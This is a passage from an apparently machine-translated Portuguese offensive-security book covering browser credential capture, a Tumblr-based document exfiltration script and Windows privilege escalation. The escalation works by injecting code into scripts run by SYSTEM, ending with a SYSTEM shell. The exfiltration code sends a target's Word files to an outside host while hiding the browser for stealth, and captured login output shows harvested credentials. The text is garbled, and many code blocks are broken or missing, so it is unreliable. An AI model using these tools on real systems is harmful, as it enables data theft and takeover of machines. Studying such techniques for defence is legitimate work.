adicionar aqui é enviar um e-mail para si mesmo sempre que as credenciais forem recebidas, para que você
possa tentar fazer login usando as credenciais do alvo antes que ele tenha a chance de alterar a senha.
Vamos dar uma volta.
Machine Translated by Google
Chutando os pneus Abra
uma nova instância do IE e execute seus scripts mitb.py e cred_server.py em janelas separadas. Você pode
testar a navegação em vários sites primeiro para ter certeza de que não está vendo nenhum comportamento
estranho, o que não deveria. Agora navegue até o Facebook ou Gmail e tente fazer login. Na janela
cred_server.py , você deve ver algo como o seguinte, usando o Facebook como exemplo:
C:\> python.exe cred_server.py
lsd=AVog7IRe&[email protected]&pass=pyth0nrocks&default_persistent=0&
timezone=180&lgnrnd=200229_SsTf&lgnjs=1394593356&locale=en_US localhost - - [12/mar/2014 /
00] "00:00:00 www.facebook.com HTTP/1.1" 301 -
Você pode ver claramente as credenciais chegando e o redirecionamento pelo servidor, levando o navegador
de volta à tela principal de login. Claro, você também pode fazer um teste onde você tem o Internet Explorer
rodando e já está logado no Facebook; em seguida, tente executar seu script mitb.py e você poderá ver como
ele força o logout. Agora que podemos capturar as credenciais do usuário dessa maneira, vamos ver como
podemos gerar o IE para ajudar a exfiltrar informações de uma rede de destino.
IEMachine
COMTranslated by Google
Automação para Exfiltração
Obter acesso a uma rede de destino é apenas uma parte da batalha. Para fazer uso de seu acesso, você deseja exfiltrar
documentos, planilhas ou outros bits de dados do sistema de destino. Dependendo dos mecanismos de defesa existentes, esta
última parte do seu ataque pode ser complicada. Pode haver sistemas locais ou remotos (ou uma combinação de ambos) que
funcionem para validar processos abrindo conexões remotas, bem como se esses processos devem ser capazes de enviar
informações ou iniciar conexões fora da rede interna. Um colega pesquisador de segurança canadense, Karim Nathoo, apontou
que a automação do IE COM tem o benefício maravilhoso de usar o processo Iexplore.exe , que normalmente é confiável e
está na lista de permissões, para exfiltrar informações de uma rede.
Criaremos um script Python que primeiro buscará documentos do Microsoft Word no sistema de arquivos local.
Quando um documento é encontrado, o script o criptografa usando criptografia de chave pública. [20] Depois que o documento
for criptografado, automatizaremos o processo de postagem do documento criptografado em um blog no tumblr.com. Isso nos
permitirá descartar o documento e recuperá-lo quando quisermos, sem que ninguém mais possa descriptografá-lo. Ao usar um
site confiável como o Tumblr, também devemos ser capazes de contornar qualquer lista negra que um firewall ou proxy possa
ter, o que poderia nos impedir de enviar o documento apenas para um endereço IP ou servidor da Web que controlamos.
Vamos começar colocando algumas funções de suporte em nosso script de exfiltração. Abra ie_exfil.py e digite o seguinte
código:
""
chave_pública =
def wait_for_browser(navegador):
Retorna
Estamos apenas criando nossas importações, os tipos de documento que procuraremos, nosso nome de usuário e senha
do Tumblr e um espaço reservado para nossa chave pública, que geraremos mais tarde. Agora vamos adicionar nossas rotinas
de criptografia para que possamos criptografar o nome do arquivo e o conteúdo do arquivo.
ÿ rsakey = RSA.importKey(public_key)
rsakey = PKCS1_OAEP.new(rsakey)
""
criptografado =
MachineDeslocamento
Translated =by
0 Google
ÿ enquanto o deslocamento < len(texto simples):
ÿ if len(chunk) % chunk_size != 0:
pedaço += " " * (pedaço_tamanho - len(pedaço))
ÿ criptografado = criptografado.encode("base64")
retornar criptografado
# abre e lê o arquivo fd =
open(filename,"rb") content = fd.read()
fd.close()
Nossa função encrypt_post é responsável por receber o nome do arquivo e retornar o nome do arquivo criptografado e o
conteúdo do arquivo criptografado no formato codificado em base64. Primeiro chamamos a principal função laboriosa
encrypt_string ÿ, passando o nome de arquivo do nosso arquivo de destino, que se tornará o título de nosso post de blog no
Tumblr. A primeira etapa de nossa função encrypt_string é aplicar a compactação zlib no arquivo ÿ antes de configurar
nosso objeto de criptografia de chave pública RSA ÿ usando nossa chave pública gerada. Em seguida, começamos a
percorrer o conteúdo do arquivo ÿ e a criptografá-lo em blocos de 256 bytes, que é o tamanho máximo para criptografia RSA
usando PyCrypto. Quando encontramos o último pedaço do arquivo ÿ, se ele não tiver 256 bytes, nós o preenchemos com
espaços para garantir que possamos criptografá-lo e descriptografá-lo com sucesso no outro lado. Depois de construirmos
toda a string de texto cifrado, nós a codificamos em base64 ÿ antes de retorná-la. Usamos codificação base64 para que
possamos publicá-lo em nosso blog do Tumblr sem problemas ou problemas estranhos de codificação.
Agora que temos nossas rotinas de criptografia configuradas, vamos começar a adicionar a lógica para lidar com o login
e a navegação no painel do Tumblr. Infelizmente, não há uma maneira rápida e fácil de encontrar elementos de interface
do usuário na Web: simplesmente passei 30 minutos usando o Google Chrome e suas ferramentas de desenvolvedor
para inspecionar cada elemento HTML com o qual precisava interagir.
Também é importante notar que, por meio da página de configurações do Tumblr, mudei o modo de edição para
texto sem formatação, o que desativa o irritante editor baseado em JavaScript. Se você deseja usar um serviço diferente,
também terá que descobrir o tempo preciso, as interações DOM e os elementos HTML necessários - felizmente, o
Python torna a automação muito fácil. Vamos adicionar mais algum código!
ÿ def random_sleep():
time.sleep(random.randint(5,10))
Retorna
sono_aleatório()
ou seja.Document.forms[1].submit()
exceto IndexError, e:
passar
sono_aleatório()
Retorna
Criamos uma função simples chamada random_sleep ÿ que irá dormir por um período de tempo aleatório; isso é projetado
para permitir que o navegador execute tarefas que podem não registrar eventos com o DOM para sinalizar que foram
concluídas. Também faz com que o navegador pareça um pouco mais humano. Nossa função login_to_tumblr começa
recuperando todos os elementos no DOM ÿ e procura os campos de e-mail e senha ÿ e os define com as credenciais que
fornecemos (não se esqueça de registrar uma conta). O Tumblr pode apresentar uma tela de login ligeiramente diferente
a cada visita, então o próximo trecho de código ÿ simplesmente tenta encontrar o formulário de login e enviá-lo de acordo.
Após a execução desse código, devemos estar logados no painel do Tumblr e prontos para postar algumas informações.
Vamos adicionar esse código
agora.
full_doc = ie.Document.all
# poste o formulário
post_form.children[0].click() wait_for_browser(ie)
sono_aleatório()
Retorna
Nenhum deste código deve parecer muito novo neste ponto. Estamos simplesmente procurando no DOM para encontrar
Machine
onde Translated
postar o título by
e oGoogle
corpo da postagem do blog. A função post_to_tumblr recebe apenas uma instância do
navegador e o nome do arquivo criptografado e o conteúdo do arquivo a ser postado. Um pequeno truque (aprendido
observando nas ferramentas de desenvolvedor do Chrome) ÿ é que temos que mudar o foco da parte principal do
conteúdo da postagem para que o JavaScript do Tumblr habilite o botão Postar. É importante anotar esses pequenos
truques sutis ao aplicar essa técnica a outros sites. Agora que podemos fazer login e postar no Tumblr, vamos dar os
retoques finais no nosso script.
def exfiltrate(document_path):
ÿ ie = win32com.client.Dispatch("InternetExplorer.Application") ÿ ie.Visible = 1
ie.Navigate("https://www.tumblr.com/new/text") wait_for_browser(ie)
# criptografa o título do
arquivo,body = encrypt_post(document_path)
Retorna
Nossa função exfiltrate é o que chamaremos para cada documento que queremos armazenar no Tumblr. Ele primeiro
cria uma nova instância do objeto COM do Internet Explorer ÿ — e o legal é que você pode definir o processo para
ser visível ou não ÿ. Para depuração, deixe-o definido como 1, mas para máxima discrição, você definitivamente
deseja defini-lo como 0. Isso é realmente útil se, por exemplo, seu trojan detectar outra atividade acontecendo; nesse
caso, você pode começar a exfiltrar documentos, o que pode ajudar a combinar ainda mais suas atividades com as
do usuário. Depois de chamar todas as nossas funções auxiliares, simplesmente matamos nossa instância do IE ÿ e
retornamos. A última parte do nosso script ÿ é responsável por rastrear a unidade C:\ no sistema de destino e tentar
corresponder à nossa extensão de arquivo predefinida (.doc neste caso). Cada vez que um arquivo é encontrado,
simplesmente passamos o caminho completo do arquivo para nossa função exfiltrate .
Agora que temos nosso código principal pronto, precisamos criar um script de geração de chave RSA rápido e sujo,
bem como um script de descriptografia que podemos usar para colar um pedaço de texto criptografado do Tumblr e
recuperar o texto simples. Vamos começar abrindo keygen.py e inserindo o seguinte código:
de Crypto.PublicKey importar RSA
Isso mesmo — o Python é tão foda que podemos fazer isso em poucas linhas de código. Esse bloco de código
gera um par de chaves públicas e privadas. Copie a chave pública em seu script ie_exfil.py . Em seguida, abra
um novo arquivo Python chamado decryptor.py e insira o seguinte código (cole a chave privada na variável
private_key ):
import zlib
import base64
from Crypto.PublicKey import RSA from
Crypto.Cipher import PKCS1_OAEP
chunk_size = 256
offset = 0
""
descriptografado
= ÿ criptografado = base64.b64decode(criptografado)
Perfeito! Simplesmente instanciamos nossa classe RSA com a chave privada ÿ e logo depois decodificamos
em base64 ÿ nosso blob codificado do Tumblr. Assim como nosso loop de codificação, simplesmente pegamos
pedaços de 256 bytes ÿ e os descriptografamos, construindo lentamente nossa string de texto simples original. A
etapa final ÿ é descompactar a carga útil, porque a compactamos anteriormente no outro lado.
Machine Translated by Google
Chutando os pneus Há
muitas partes móveis neste trecho de código, mas é bastante fácil de usar. Simplesmente execute
seu script ie_exfil.py de um host do Windows e espere que ele indique que foi postado com sucesso no
Tumblr. Se você deixou o Internet Explorer visível, deve ter conseguido assistir a todo o processo.
Depois de concluído, você poderá navegar até sua página do Tumblr e ver algo como a Figura 9-1.
Como você pode ver, há um grande blob criptografado, que é o nome do nosso arquivo. Se você rolar
para baixo, verá claramente que o título termina onde a fonte não está mais em negrito. Se você copiar e
colar o título em seu arquivo decryptor.py e executá-lo, deverá ver algo assim:
#:> python decryptor.py C:
\Arquivos de programas\Ferramentas de depuração para Windows (x86)\dml.doc
#:>
Perfeito! Meu script ie_exfil.py pegou um documento do diretório Windows Debugging Tools, carregou o
conteúdo para o Tumblr e posso descriptografar o nome do arquivo com sucesso. Agora, é claro, para fazer
todo o conteúdo do arquivo, você deve automatizá-lo usando os truques que mostrei no Capítulo 5 (usando
urllib2 e HTMLParser), que deixarei como tarefa de casa para você. O outro
Machine
Uma coisaTranslated by Google
a considerar é que em nosso script ie_exfil.py , preenchemos os últimos 256 bytes com o caractere de espaço,
e isso pode quebrar certos formatos de arquivo. Outra ideia para estender o projeto é criptografar um campo de
comprimento no início do conteúdo da postagem do blog que informa o tamanho original do documento antes de você
preenchê-lo. Você pode então ler esse comprimento depois de descriptografar o conteúdo da postagem do blog e cortar o
arquivo para esse tamanho exato.
[20] O pacote Python PyCrypto pode ser instalado em http:// www.voidspace.org.uk/ python/ modules.shtml#pycrypto/.
Machine Translated by Google
Capítulo 10. Escalação de Privilégios do Windows
Então você colocou uma caixa dentro de uma boa e suculenta rede Windows. Talvez você tenha aproveitado um estouro
de heap remoto ou tenha feito phishing para entrar na rede. É hora de começar a procurar maneiras de escalar privilégios.
Se você já é SISTEMA ou Administrador, provavelmente deseja várias maneiras de obter esses privilégios caso um ciclo
de patch elimine seu acesso. Também pode ser importante ter um catálogo de escalonamento de privilégios em seu bolso,
pois algumas empresas executam software que pode ser difícil de analisar em seu próprio ambiente, e você pode não
encontrar esse software até que esteja em uma empresa do tipo mesmo tamanho ou composição. Em uma escalação de
privilégio típica, você explorará um driver mal codificado ou um problema de kernel nativo do Windows, mas se usar uma
exploração de baixa qualidade ou se houver um problema durante a exploração, você corre o risco de instabilidade do
sistema. Vamos explorar alguns outros meios de adquirir privilégios elevados no Windows.
Os administradores de sistema em grandes empresas geralmente têm tarefas ou serviços agendados que executarão
processos filhos ou executarão scripts VBScript ou PowerShell para automatizar tarefas. Os fornecedores também costumam
ter tarefas integradas e automatizadas que se comportam da mesma maneira. Vamos tentar tirar vantagem dos processos
de alto privilégio manipulando arquivos ou executando binários que podem ser escritos por usuários de baixo privilégio.
Existem inúmeras maneiras de tentar aumentar os privilégios no Windows, e abordaremos apenas algumas. No entanto,
quando você entender esses conceitos básicos, poderá expandir seus scripts para começar a explorar outros cantos
escuros e mofados de seus destinos do Windows.
Começaremos aprendendo como aplicar a programação Windows WMI para criar uma interface flexível que monitore a
criação de novos processos. Coletamos dados úteis, como caminhos de arquivo, o usuário que criou o processo e
privilégios habilitados. Nosso monitoramento de processo então transfere todos os caminhos de arquivo para um script de
monitoramento de arquivo que rastreia continuamente todos os novos arquivos criados e o que é gravado neles. Isso nos
diz quais arquivos estão sendo acessados por processos de alto privilégio e a localização do arquivo.
A etapa final é interceptar o processo de criação do arquivo para que possamos injetar código de script e fazer com que
o processo de alto privilégio execute um shell de comando. A beleza de todo esse processo é que ele não envolve
nenhuma conexão de API, portanto, podemos voar sob o radar da maioria dos softwares antivírus.
Machine Translated by Google
Instalando os pré-requisitos Precisamos
instalar algumas bibliotecas para escrever as ferramentas neste capítulo. Se você seguiu as instruções iniciais
do livro, você terá o easy_install pronto para arrasar. Caso contrário, consulte o Capítulo 1 para obter instruções
sobre como instalar o easy_install.
Se por algum motivo este método de instalação não funcionar para você, baixe o instalador PyWin32
diretamente de http:// sourceforge.net/ projects/ pywin32/.
Em seguida, você desejará instalar o serviço de exemplo que meus revisores técnicos Dan Frisch e Cliff Janzen
escreveram para mim. Esse serviço emula um conjunto comum de vulnerabilidades que descobrimos em grandes
redes corporativas e ajuda a ilustrar o código de exemplo neste capítulo.
A principal desvantagem do El Jefe original é que ele usava uma DLL que foi injetada em cada processo para
interceptar chamadas para todas as formas da função nativa CreateProcess . Em seguida, ele usou um pipe
nomeado para se comunicar com o cliente de coleta, que então encaminhou os detalhes da criação do processo
para o servidor de registro. O problema com isso é que a maioria dos softwares antivírus também intercepta as
chamadas CreateProcess , então eles o veem como malware ou você tem problemas de instabilidade do sistema
quando o El Jefe é executado lado a lado com o software antivírus. Vamos recriar algumas das capacidades de
monitoramento de El Jefe de uma maneira sem gancho, que também será voltada para técnicas ofensivas em vez
de monitoramento. Isso deve tornar nosso monitoramento portátil e nos dar a capacidade de executar com software
antivírus ativado sem problemas.
Machine Translated by Google
Monitoramento de processo com WMI A API
WMI dá ao programador a capacidade de monitorar o sistema para determinados eventos e, em seguida,
receber retornos de chamada quando esses eventos ocorrerem. Vamos aproveitar essa interface para
receber um retorno de chamada sempre que um processo for criado. Quando um processo é criado, vamos
capturar algumas informações valiosas para nossos propósitos: a hora em que o processo foi criado, o usuário
que gerou o processo, o executável que foi iniciado e seus argumentos de linha de comando, o ID do processo
e o ID do processo pai. Isso nos mostrará todos os processos criados por contas com privilégios mais altos e, em
particular, todos os processos que estão chamando arquivos externos, como VBScript ou scripts em lote. Quando
tivermos todas essas informações, também determinaremos quais privilégios estão habilitados nos tokens de proce
Em alguns casos raros, você encontrará processos criados como um usuário regular, mas que receberam
privilégios adicionais do Windows que você pode aproveitar.
Vamos começar criando um script de monitoramento muito simples [21] que fornece as informações
básicas do processo e, em seguida, desenvolver isso para determinar os privilégios ativados. Observe que, para
capturar informações sobre processos de alto privilégio criados por SYSTEM, por exemplo, você precisará executar
seu script de monitoramento como Administrador. Vamos começar adicionando o seguinte código a
process_monitor.py:
importar win32con
importar win32api
importar win32security
sistema importar
sistema operacional
def log_to_file(mensagem): fd =
open("process_monitor_log.csv", "ab") fd.write("%s\r\n" %
mensagem) fd.close()
Retorna
enquanto verdadeiro:
experimentar:
ÿ novo_processo = process_watcher()
pid
parent_pid = new_process.ParentProcessId
privilégios = "N/A"
imprimir process_log_message
log_to_file(process_log_message)
exceto:
passar
Começamos instanciando a classe WMI ÿ e, em seguida, informando-a para observar o evento de criação do
processo ÿ. Ao ler a documentação do Python WMI, aprendemos que você pode monitorar eventos de criação
ou exclusão de processos. Se você decidir monitorar de perto os eventos do processo, poderá usar a operação
e ela o notificará sobre todos os eventos pelos quais um processo passa. Em seguida, entramos em um loop e
o loop é bloqueado até que process_watcher retorne um novo evento de processo ÿ. O novo evento de processo
classe WMI chamada Win32_Process depois. [22]
Umaquedas
contém todas
funções de as informações
classe relevantes
é GetOwner, que somosdeé ÿuma
que chamamos para
determinar quem gerou o processo e, a partir daí, coletamos todas as informações do processo que estamos
procurando, exibimos na tela e as registramos em um arquivo.
Machine Translated by Google
Chutando os pneus
Vamos iniciar nosso script de monitoramento de processo e, em seguida, criar alguns processos para
ver como é a saída.
20130907115227.048683-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\notepad.exe,"C:
\WINDOWS\system32\notepad.exe" ,740,508,N/A
20130907115237.095300-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\ calc.exe,"C:
\WINDOWS\system32\calc.exe" ,2920,508,N/A
Depois de executar o script, executei notepad.exe e calc.exe. Você pode ver as informações sendo geradas
corretamente e observar que ambos os processos tinham o PID pai definido como 508, que é o ID do processo
explorer.exe em minha VM. Agora você pode fazer uma pausa prolongada e deixar esse script rodar por um dia
e ver todos os processos, tarefas agendadas e vários atualizadores de software em execução. Você também pode
detectar malware se tiver (a) sorte. Também é útil fazer logout e login novamente em seu destino, pois os eventos
gerados por essas ações podem indicar processos privilegiados. Agora que temos o monitoramento básico do
processo, vamos preencher o campo de privilégios em nosso registro e aprender um pouco sobre como os
privilégios do Windows funcionam e por que eles são importantes.
Machine Translated by Google
Privilégios de token do Windows Um token
do Windows é, de acordo com a Microsoft: “um objeto que descreve o contexto de segurança de um processo
ou thread”. [23] Como um token é inicializado e quais permissões e privilégios são definidos em um token
determinam quais tarefas esse processo ou thread pode executar. Um desenvolvedor bem-intencionado pode ter
um aplicativo na bandeja do sistema como parte de um produto de segurança, ao qual gostaria de permitir que
um usuário não privilegiado controle o serviço principal do Windows, que é um driver. O desenvolvedor usa a
função de API nativa do Windows AdjustTokenPrivileges no processo e inocentemente concede ao aplicativo da
bandeja do sistema o privilégio SeLoadDriver . O que o desenvolvedor não está pensando é no fato de que, se
você pode entrar no aplicativo da bandeja do sistema, agora também pode carregar ou descarregar qualquer
driver que desejar, o que significa que você pode descartar um rootkit no modo kernel - e isso significa que o jogo
sobre.
Lembre-se de que, se você não puder executar o monitor de processo como SISTEMA ou usuário administrativo,
precisará ficar de olho em quais processos pode monitorar e ver se há privilégios adicionais que você pode
aproveitar . Um processo executado como seu usuário com os privilégios errados é uma maneira fantástica de
acessar o SYSTEM ou executar o código no kernel. Privilégios interessantes que sempre procuro estão listados
na Tabela 10-1. Não é exaustivo, mas serve como um bom ponto de partida. [24]
SeBackupPrivilege Isso permite que o processo do usuário faça backup de arquivos e diretórios e concede acesso READ aos arquivos, não importa o que
sua ACL define.
SeDebugPrivilege Isso permite que o processo do usuário depure outros processos. Isso também inclui a obtenção de alças de processo para injetar
DLLs ou código em processos em execução.
Agora que temos os fundamentos do que são privilégios e quais privilégios procurar, vamos aproveitar o
Python para recuperar automaticamente os privilégios ativados nos processos que estamos monitorando.
Faremos uso dos módulos win32security , win32api e win32con . Se você encontrar uma situação em
que não pode carregar esses módulos, todas as funções a seguir podem ser traduzidas em chamadas
nativas usando a biblioteca ctypes; é apenas muito mais trabalho. Adicione o seguinte código a
process_monitor.py diretamente acima de nossa função log_to_file existente :
def get_process_privileges(pid): tente:
# iterar sobre privilégios e mostrar os que estão ativados priv_list = for i in privs: # verificar
""
se o privilégio está ativado
Machine
ÿ Translated
if i[1]by
==Google
3: priv_list
ÿ += "%s|" % win32security.
LookupPrivilegeName(Nenhum,i[0])
exceto:
lista_priv = "N/A"
return lista_privada
Usamos o ID do processo para obter um identificador para o processo de destino ÿ. Em seguida, abrimos o token do
processo ÿ e solicitamos as informações do token desse processo ÿ. Ao enviar a estrutura win32security.TokenPrivileges ,
estamos instruindo a chamada da API a devolver todas as informações de privilégio desse processo. A chamada de função
retorna uma lista de tuplas, onde o primeiro membro da tupla é o privilégio e o segundo membro descreve se o privilégio está
habilitado ou não. Como estamos preocupados apenas com os privilégios habilitados, primeiro verificamos os bits habilitados ÿ
e, em seguida, procuramos o nome legível para esse privilégio ÿ.
Em seguida, modificaremos nosso código existente para que estejamos exibindo e registrando corretamente essas informações.
Altere a seguinte linha de código disso:
privilégios = "N/A"
ao seguinte:
privilégios = get_process_privileges(pid)
Agora que adicionamos nosso código de rastreamento de privilégio, vamos executar novamente o script process_monitor.py
e verificar a saída. Você deve ver as informações de privilégio conforme mostrado na saída abaixo:
20130907233515.914176-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\ calc.exe,"C:
\WINDOWS\system32\calc.exe" ,1004,508,SeChangeNotifyPrivilege| SeImpersonatePrivilege|SeCreateGlobalPrivilege|
Você pode ver que estamos registrando corretamente os privilégios ativados para esses processos. Poderíamos facilmente
colocar alguma inteligência no script para registrar apenas os processos executados como um usuário sem privilégios, mas com
privilégios interessantes ativados. Veremos como esse uso do monitoramento de processos nos permitirá encontrar processos
que estão utilizando arquivos externos de forma insegura.
Machine Translated by Google
Vencendo a corrida Os
scripts de lote, VBScript e scripts do PowerShell facilitam a vida dos administradores de sistema ao
automatizar tarefas monótonas. Sua finalidade pode variar de registrar continuamente em um serviço de
inventário central para forçar atualizações de software de seus próprios repositórios. Um problema comum é a
falta de ACLs adequadas nesses arquivos de script. Em vários casos, em servidores seguros, encontrei scripts
em lote ou scripts do PowerShell que são executados uma vez por dia pelo usuário SYSTEM enquanto são
graváveis globalmente por qualquer usuário.
Se você executar seu monitor de processo por tempo suficiente em uma empresa (ou simplesmente instalar
o serviço de exemplo fornecido no início deste capítulo), poderá ver registros de processo semelhantes a este:
20130907233515.914176-300,NT AUTHORITY\SYSTEM,C:\WINDOWS\system32\cscript. exe, C:
\WINDOWS\system32\cscript.exe /nologo "C:\WINDOWS\Temp\azndldsddfggg.
vbs",1004,4,SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobal Privilege|
Você pode ver que um processo SYSTEM gerou o binário cscript.exe e passou no parâmetro C:
\WINDOWS\Temp\andldsddfggg.vbs . O serviço de exemplo fornecido deve gerar esses eventos uma vez por
minuto. Se você fizer uma listagem de diretórios, não verá este arquivo presente. O que está acontecendo é que
o serviço está criando um nome de arquivo aleatório, colocando o VBScript no arquivo e, em seguida, executando
esse VBScript. Já vi essa ação executada por software comercial em vários casos e já vi software que copia
arquivos para um local temporário, executa e depois exclui esses arquivos.
Para explorar essa condição, temos que efetivamente vencer uma corrida contra o código em execução. Quando o
software ou a tarefa agendada cria o arquivo, precisamos ser capazes de injetar nosso próprio código no arquivo
antes que o processo o execute e, por fim, o exclua. O truque para isso é a útil API do Windows chamada
ReadDirectoryChangesW, que nos permite monitorar um diretório em busca de alterações em arquivos ou
subdiretórios. Também podemos filtrar esses eventos para que possamos determinar quando o arquivo foi “salvo”
para que possamos injetar rapidamente nosso código antes de ser executado. Pode ser incrivelmente útil
simplesmente ficar de olho em todos os diretórios temporários por um período de 24 horas ou mais, porque às vezes
você encontrará bugs interessantes ou divulgações de informações além de possíveis escalações de privilégios.
Vamos começar criando um monitor de arquivo e, em seguida, desenvolveremos isso para injetar código
automaticamente. Crie um novo arquivo chamado file_monitor.py e defina o seguinte:
# Exemplo modificado originalmente fornecido aqui: # http://
timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes. html
def start_monitor(path_to_watch):
Machine Translated by Google
# criamos um thread para cada execução de monitoramento
FILE_LIST_DIRECTORY = 0x0001
enquanto 1:
experimentar:
ÿ resultados = win32file.ReadDirectoryChangesW(
h_directory, 1024,
Verdadeiro, win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_SIZE |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY, Nenhum,
Nenhum
fd.close()
print content print "[^^^]
Despejo completo."
exceto:
print "[!!!] Falhou."
Definimos uma lista de diretórios que gostaríamos de monitorar ÿ, que em nosso caso são os dois diretórios comuns
de arquivos temporários. Lembre-se de que pode haver outros lugares nos quais você deseja ficar de olho; portanto,
edite esta lista como achar melhor. Para cada um desses caminhos, criaremos um thread de monitoramento que chama o
Machine
função Translated by Google
start_monitor . A primeira tarefa desta função é adquirir um identificador para o diretório que
desejamos monitorar ÿ. Em seguida, chamamos a função ReadDirectoryChangesW ÿ, que nos notifica
quando ocorre uma alteração. Recebemos o nome do arquivo de destino que foi alterado e o tipo de evento
ocorrido ÿ. A partir daqui, imprimimos informações úteis sobre o que aconteceu com esse arquivo específico
e, se detectarmos que ele foi modificado, despejamos o conteúdo do arquivo para referência ÿ.
Machine Translated by Google
Chutando os pneus Abra
um shell cmd.exe e execute file_monitor.py:
C:\> python.exe file_monitor.py
olá
Se todos os itens acima funcionaram conforme o planejado, encorajo você a manter seu monitor de arquivos em execução por 24
horas em um sistema de destino. Você pode se surpreender (ou não) ao ver arquivos sendo criados, executados e excluídos. Você
também pode usar seu script de monitoramento de processo para tentar encontrar caminhos de arquivo interessantes para monitorar
também. As atualizações de software podem ser de particular interesse. Vamos seguir em frente e adicionar a capacidade de injetar
código automaticamente em um arquivo de destino.
Machine Translated by Google
Injeção de código Agora
que podemos monitorar processos e locais de arquivo, vamos dar uma olhada na capacidade de injetar código
automaticamente em arquivos de destino. As linguagens de script mais comuns que vi empregadas são VBScript, arquivos
em lote e PowerShell. Criaremos trechos de código muito simples que geram uma versão compilada de nossa ferramenta
bhpnet.py com o nível de privilégio do serviço de origem. Há uma vasta gama de coisas desagradáveis que você pode fazer
com essas linguagens de script; [25] criaremos a estrutura geral para fazer isso, e você pode correr solto a partir daí. Vamos
modificar nosso script file_monitor.py e adicionar o seguinte código após as constantes de modificação do arquivo:
ÿ tipos_de_arquivo = {}
ÿ fd = open(full_filename,"wb") fd.write(full_contents)
fd.close()
Retorna
Começamos definindo um dicionário de trechos de código que correspondem a uma determinada extensão de
arquivo ÿ que inclui um marcador exclusivo e o código que queremos injetar. A razão pela qual usamos um marcador é
porque podemos entrar em um loop infinito no qual vemos uma modificação de arquivo, inserimos nosso código (que
causa um evento subsequente de modificação de arquivo) e assim por diante. Isso continua até que o arquivo fique
gigantesco e o disco rígido comece a chorar. A próxima parte do código é nossa função inject_code que lida com a injeção
de código real e a verificação do marcador de arquivo. Depois de verificarmos que o marcador não existe ÿ, escrevemos
o marcador e o código que queremos que o processo de destino execute ÿ. Agora precisamos modificar nosso loop de
evento principal para incluir nossa verificação de extensão de arquivo e a chamada para inject_code.
--recorte--
elif action == FILE_MODIFIED: print "[*]
Modified %s" % full_filename
tente:
fd = open(full_filename,"rb") content = fd.read()
fd.close()
Machine Translated by Googleprint content print
"[^^^] Despejo completo."
exceto:
print "[!!!] Falhou."
#### NOVO CÓDIGO COMEÇA AQUI
ÿ filename,extension = os.path.splitext(full_filename)
ÿ se extensão em file_types:
inject_code(full_filename,extensão,conteúdo)
#### FIM DO NOVO CÓDIGO --
snip--
Esta é uma adição bastante direta ao nosso loop primário. Fazemos uma divisão rápida da extensão do arquivo ÿ e,
em seguida, verificamos em nosso dicionário de tipos de arquivos conhecidos ÿ. Se a extensão do arquivo for
detectada em nosso dicionário, chamamos nossa função inject_code . Vamos dar uma volta.
Machine Translated by Google
Chutando os pneus Se você
instalou o exemplo de serviço vulnerável no início deste capítulo, você pode facilmente testar seu novo e sofisticado
injetor de código. Certifique-se de que o serviço esteja em execução e simplesmente execute seu script file_monitor.py .
Eventualmente, você deve ver a saída indicando que um arquivo .vbs foi criado e modificado e que o código foi injetado.
Se tudo correr bem, você poderá executar o script bhpnet.py do Capítulo 2 para conectar o ouvinte que acabou de
gerar. Para garantir que sua escalação de privilégio funcionou, conecte-se ao ouvinte e verifique com qual usuário você
está executando.
justin$ ./bhpnet.py -t 192.168.1.10 -p 9999 <CTRL-D>
<BHP:#> whoami
AUTORIDADE NT\SISTEMA
<BHP:#>
Isso indicará que você alcançou a sagrada conta SYSTEM e que sua injeção de código funcionou.
Você pode ter chegado ao final deste capítulo pensando que alguns desses ataques são um pouco esotéricos. Porém,
quanto mais tempo você passar dentro de uma grande empresa, mais perceberá que esses ataques são bastante viáveis.
As ferramentas neste capítulo podem ser facilmente expandidas ou transformadas em scripts especializados únicos que
você pode usar em casos específicos para comprometer uma conta ou aplicativo local. O WMI sozinho pode ser uma
excelente fonte de dados de reconhecimento local que você pode usar para promover um ataque quando estiver dentro de
uma rede. A escalação de privilégios é uma peça essencial para qualquer bom trojan.
[21] Este código foi adaptado da página Python WMI (http:// timgolden.me.uk/ python/ wmi/ tutorial.html).
[24] Para obter a lista completa de privilégios, visite http:// msdn.microsoft.com/ en-us/ library/ windows/ desktop/ bb530716(v=vs.85).aspx.
[25] Carlos Perez faz um trabalho incrível com o PowerShell; consulte http:// www.darkoperator.com/.
Machine Translated by Google
Capítulo 11. Automatizando a Análise Forense Ofensiva
O pessoal forense costuma ser chamado após uma violação ou para determinar se um “incidente” ocorreu. Eles
geralmente querem um instantâneo da RAM da máquina afetada para capturar chaves criptográficas ou outras
informações que residem apenas na memória. Para sua sorte, uma equipe de desenvolvedores talentosos criou uma
estrutura Python inteira adequada para essa tarefa chamada Volatility, anunciada como uma estrutura forense de
memória avançada. Respondentes de incidentes, examinadores forenses e analistas de malware também podem usar
o Volatility para uma variedade de outras tarefas, incluindo inspecionar objetos do kernel, examinar e descarregar
processos e assim por diante. Nós, é claro, estamos mais interessados nas capacidades ofensivas que o Volatility
oferece.
Primeiro, exploramos o uso de alguns dos recursos de linha de comando para recuperar hashes de senha de uma
máquina virtual VMWare em execução e, em seguida, mostramos como podemos automatizar esse processo de
